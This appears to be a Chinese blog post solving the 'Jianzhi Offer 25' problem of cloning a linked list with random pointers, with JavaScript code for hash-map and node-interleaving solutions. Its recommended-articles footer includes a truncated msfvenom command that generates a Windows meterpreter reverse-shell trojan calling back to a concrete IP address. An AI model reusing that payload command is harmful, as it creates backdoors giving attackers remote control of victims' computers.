剑指offer(25)复杂链表的复制
题目描述
输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的head。(注意,输出结果中请不要返回参数中的节点引用,否则判题程序会直接返回空)
题目分析
这道题有三种解法。
解法一
就是普通的解法,先复制节点,用p.next连接起来。然后再去设置p.random指针指向,不过这个设置又需要从头节点开始查。
所以总的时间复杂度为O(n2)
解法二
用map来保存<N,N`>,这样就很容易设置p.random了,比如我们在节点S处和节点S`处,我们通过S可以得到N,那么<N,N`>对应,
我们就可以就可以使得S`的next指向N`了。这是通过空间换时间
解法三
第三种就是比较复杂些,但是不用空间换时间也能达到O(n)
- 第一步,对链表的每个节点N创建N‘,并链接在N的后面。
- 设置复制出来的p.random。节点N指向S,那么N'指向S',而N和N'相邻,那么S和S'也相邻。
- 把长链表拆开成两个链表。
代码
这里只给出第二种和第三种的参考代码。
解法二:
// 第一种
function RandomListNode(x) {
this.label = x;
this.next = null;
this.random = null;
}
function Clone(pHead) {
// write code here
if (pHead === null) {
return null;
}
const map = new Map();
let p, p2;
p = pHead;
p2 = new RandomListNode(pHead.label);
const pHead2 = p2;
map.set(p, p2);
while (p) {
if (p.next) p2.next = new RandomListNode(p.next.label);
else p2.next = null;
p = p.next;
p2 = p2.next;
map.set(p, p2);
}
p = pHead;
p2 = pHead2;
while (p !== null) {
p2.random = map.get(p.random);
p = p.next;
p2 = p2.next;
}
return pHead2;
}
解法三:
// 第二种
/* function RandomListNode(x){
this.label = x;
this.next = null;
this.random = null;
}*/
function Clone2(pHead) {
cloneNodes(pHead);
connectRandom(pHead);
return reconnectNodes(pHead);
}
function cloneNodes(pHead) {
// 复制链表
let pNode = pHead;
while (pNode !== null) {
const newNode = new RandomListNode(pNode.label);
newNode.next = pNode.next;
pNode.next = newNode;
pNode = newNode.next;
}
}
function connectRandom(pHead) {
// 设置random指针
let pNode = pHead;
while (pNode !== null) {
if (pNode.random !== null) {
pNode.next.random = pNode.random.next;
}
pNode = pNode.next.next;
}
}
function reconnectNodes(pHead) {
// 拆开链表
let pNode = pHead;
let newNodeHead = null,
newNode = null;
if (pNode !== null) {
newNodeHead = newNode = pNode.next;
pNode.next = newNode.next;
pNode = newNode.next;
}
while (pNode !== null) {
newNode.next = pNode.next;
newNode = newNode.next;
pNode.next = newNode.next;
pNode = pNode.next;
}
return newNodeHead;
}
剑指offer(25)复杂链表的复制的更多相关文章
- 剑指Offer 25. 复杂链表的复制 (链表)
题目描述 输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的head.(注意,输出结果中请不要返回参数中的节点引用,否 ...
- [剑指Offer] 25.复杂链表的复制
/* struct RandomListNode { int label; struct RandomListNode *next, *random; RandomListNode(int x) : ...
- 剑指 Offer 35. 复杂链表的复制
剑指 Offer 35. 复杂链表的复制 Offer_35 题目详情 方法一 可以使用一个HashMap来存储旧结点和新结点的映射. 这种方法需要遍历链表两遍,因为需要首先知道映射关系才能求出next ...
- 【剑指Offer】复杂链表的复制 解题报告(Python)
[剑指Offer]复杂链表的复制 解题报告(Python) 标签(空格分隔): 剑指Offer 题目地址:https://www.nowcoder.com/ta/coding-interviews 题 ...
- 《剑指offer》复杂链表的复制
本题来自<剑指offer> 反转链表 题目: 思路: C++ Code: Python Code: 总结:
- 【Java】 剑指offer(35) 复杂链表的复制
本文参考自<剑指offer>一书,代码采用Java语言. 更多:<剑指Offer>Java实现合集 题目 请实现函数ComplexListNode* Clone(Compl ...
- Go语言实现:【剑指offer】复杂链表的复制
该题目来源于牛客网<剑指offer>专题. 输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的head.( ...
- 剑指offer——35复杂链表的复制
这题很是巧妙. 突破了常规思维. 竟然可以把传入进来的链表和复制的链表链在一起.然后再算出slibling指针.最后在分离. 直接把空间复杂度变为O(1)了. 很巧妙,很实用. 题目: 请实现函数Co ...
- 剑指OFFER之复杂链表的复制(九度OJ1524)
题目描述: 输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点). 输入: 输入可能包含多个测试样例,输入以EOF结束.对于每个测试案例,输入的第一 ...
- 剑指offer:复杂链表的复制
题目描述: 输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的head.(注意,输出结果中请不要返回参数中的节点引用, ...
随机推荐
- 45道sql
一.设有一数据库,包括四个表:学生表(Student).课程表(Course).成绩表(Score)以及教师信息表(Teacher).四个表的结构分别如表1-1的表(一)~表(四)所示,数据如表1-2 ...
- Msf的一些常用操作
payload的几个常用生成 生成windows下的反弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPOR ...
- elk-filebeat-(效果图示)(四)
一.vim filebeat-6.3.2-linux-x86_64/filebeat.yml - type: log # Change to true to enable this input con ...
- upstream模块调度算法
反向代理调度算法,轮询算法--——领导如何挑选小弟.迎宾小姐如何挑选服务员. 调度一般分为两类,第一类为静态调度算法,即负载均衡器根据自身设定的规划进行分配,不需要考虑节点的情况,例如,rr.wrr. ...
- Logcat
logcat -- "-s"选项 : 设置输出日志的标签, 只显示该标签的日志; -- "-f"选项 : 将日志输出到文件, 默认输出到标准输出流中, -f 参 ...
- 关于0x3f3f3f3f
发现有人把无穷大设成0x3f3f3f3f,好像还真不是随便设的. 0x3f3f3f3f比10^9大一点,比一般数据范围大: 乘2之后比2147483467小,满足正无穷加正无穷还是正无穷: 每个字节都 ...
- C++/C面试题
(1) 按位运算只适用于字符型和整数型变量以及它们的变体,对其他数据类型不适用: (2) 一般在打开网页时,需要在浏览器中输入网址,因此,需要通过网址找到访问资源的 IP 地址,从而可以把请求发送到对 ...
- Eclispe最常用的几个快捷键
熟练使用快捷键可以在很大程度上提高我们的工作效率,Eclipse的快捷键很多,但是常用的也就那么几个,下面说下Eclispe最常用的几个快捷键: Eclipse的快捷键组合可在Eclipse按下ctr ...
- 程序员调 Bug 的样子,非常真实
程序员调 Bug 的样子,非常真实
- arcpy 零碎知识
记忆力越来越差,在这里记些东西: 1.使用 CURRENT 引用 ArcMap 中当前加载的地图文档时,有时需要刷新内容列表或活动视图(数据视图或布局视图). 在 Python 窗口中输入以下两行,在 ...